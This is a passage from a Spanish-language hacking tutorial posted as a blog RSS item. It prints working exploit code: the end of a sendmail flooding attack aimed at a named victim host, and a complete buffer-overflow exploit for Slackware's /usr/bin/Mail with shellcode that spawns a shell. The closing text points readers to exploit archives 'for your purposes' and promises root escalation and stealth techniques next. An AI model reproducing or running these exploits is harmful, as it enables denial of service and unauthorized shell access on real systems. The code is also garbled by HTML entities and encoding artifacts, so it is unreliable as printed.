printf(&#8220;Usage: %s victim_user victim_host\n&#8221;,argv[0]);<br />
exit(0);<br />
}<br />
�<br />
hp=3Dgethostbyname(argv[2]);<br />
�<br />
if (!hp) {<br />
perror(&#8220;gethostbyname&#8221;);<br />
exit(1);<br />
}</p>
<p>fprintf(stderr,&#8221;Doing mess: &#8220;);</p>
<p>for (;loop&lt;MAXCONN;loop++) if (!(x=3Dfork())) {<br />
FILE* d;<br />
bcopy(hp-&gt;h_addr,(void*)&amp;s.sin_addr,hp-&gt;h_length);<br />
s.sin_family=3Dhp-&gt;h_addrtype;<br />
s.sin_port=3Dhtons(25);<br />
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))&lt;0) perror(&#8220;socket&#8221;);<br />
if (connect(suck,(struct sockaddr *)&amp;s,sizeof(s))) perror(&#8220;connect&#8221;);<br />
if (!(d=3Dfdopen(suck,&#8221;w&#8221;))) { perror(&#8220;fdopen&#8221;); exit(0); }</p>
<p>usleep(100000);</p>
<p>fprintf(d,&#8221;helo tweety\n&#8221;);<br />
fprintf(d,&#8221;mail from: <a href="mailto:tweety@polbox.com\n">tweety@polbox.com\n</a>&#8220;);<br />
fprintf(d,&#8221;rcpt to: <a href="mailto:%s@%s\n&quot;,argv[1],argv[2">%s@%s\n&#8221;,argv[1],argv[2</a>]);<br />
fprintf(d,&#8221;data\n&#8221;);</p>
<p>usleep(100000);</p>
<p>for(loop=3D0;loop&lt;LINES;loop++) {<br />
if (!(loop%100)) fprintf(stderr,&#8221;.&#8221;);<br />
fprintf(d,&#8221;To: x\n&#8221;);<br />
}</p>
<p>fprintf(d,&#8221;\n\n\nsomedata\n\n\n&#8221;);</p>
<p>fprintf(d,&#8221;.\n&#8221;);</p>
<p>sleep(1);</p>
<p>fprintf(d,&#8221;quit\n&#8221;);<br />
fflush(d);</p>
<p>sleep(100);<br />
shutdown(suck,2);<br />
close(suck);<br />
exit(0);<br />
}</p>
<p>waitpid(x,&amp;loop,0);</p>
<p>fprintf(stderr,&#8221;ok\n&#8221;);</p>
<p>return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
**Para terminar uno de Slackware <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/begin mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/*<br />
* mail-slak.c (C) 2000 Paulo Ribeiro &lt;<a href="mailto:prrar@nitnet.com.br">prrar@nitnet.com.br</a>&gt;<br />
*<br />
* Exploit for /usr/bin/Mail.<br />
* Made specially for Slackware Linux 7.0.<br />
* Based on mailx.c by funkySh.<br />
*<br />
* OBS.: Without fprintf(stderr) is not possible to print the message.<br />
*<br />
* USAGE:<br />
* slack$ ./mail-slak<br />
* type &#8216;.&#8217; and enter: .<br />
* Cc: too long to edit<br />
* sh-2.03$ id<br />
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)<br />
*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;unistd.h&gt;</p>
<p>char buffer[10000];<br />
char shellcode[] =3D<br />
&#8220;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31&#8243;</p>
<p>&#8220;\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1&#8243;</p>
<p>&#8220;\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76&#8243;</p>
<p>&#8220;\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89&#8243;</p>
<p>&#8220;\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#8221;;</p>
<p>unsigned long getesp(void)<br />
{<br />
__asm__(&#8220;movl %esp,%eax&#8221;);<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int x;<br />
long addr =3D getesp() &#8211; 18000;</p>
<p>memset(buffer, 0&#215;90, 10000);<br />
memcpy(buffer + 800, shellcode, strlen(shellcode));</p>
<p>for(x =3D 876; x &lt; 9998; x +=3D 4)<br />
*(int *)&amp;buffer[x] =3D addr;</p>
<p>fprintf(stderr, &#8220;type &#8216;.&#8217; and enter: &#8220;);</p>
<p>execl(&#8220;/usr/bin/Mail&#8221;, &#8220;/usr/bin/Mail&#8221;, &#8220;nobody&#8221;, &#8220;-s&#8221;,<br />
&#8220;blah&#8221;, &#8220;-c&#8221;, buffer, 0);<br />
}</p>
<p>/* mail-slack.c: EOF */</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/end mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Esto  solo ha  sido  una  muestra. Si  en  rootshell.com utilizais  la<br />
untilidad  search podreis  buscar  los exploits  relativos a  aquellos<br />
programas o servicios que os interesen para vuestros fines }:)).</p>
<p>Bueno&#8230;ya esta  bien por esta  entrega. La proxima nos  dedicaremos a<br />
conseguir  privilegios de  root desde  un  acceso local  y a  preparar<br />
nuestras herramientas.</p>
<p>Antes de terminar&#8230;ni se os ocurra intentar entrar en ninguna maquina<br />
remota en  plan novato apenas sabiendo cuatro  cosas, porque dejariais<br />
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que<br />
avancemos  os  dire  algunas  cosillas  fundamentales  para  ser  casi<br />
invisible&#8230;pero  no todavia.  Por  ultimo, aunque  no quiero  meteros<br />
mucha  tela, existen una  serie de  escaners que  auditan redes  y que<br />
delatan  diversos  fallos de  seguridad  y vulnerabilidades.  Anta=F1o<br />
estaba sscan, pero ahora es  mucho mejor usar saint o nessus&#8230;pero ya<br />
os dire como.</p>
<p>Tened cuidado ahi dentro ;-P</p>
<p>�<br />
&#8212;&#8212;&#8212;&#8212;&#8211;2EC61C705517942E3D414456&#8211;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
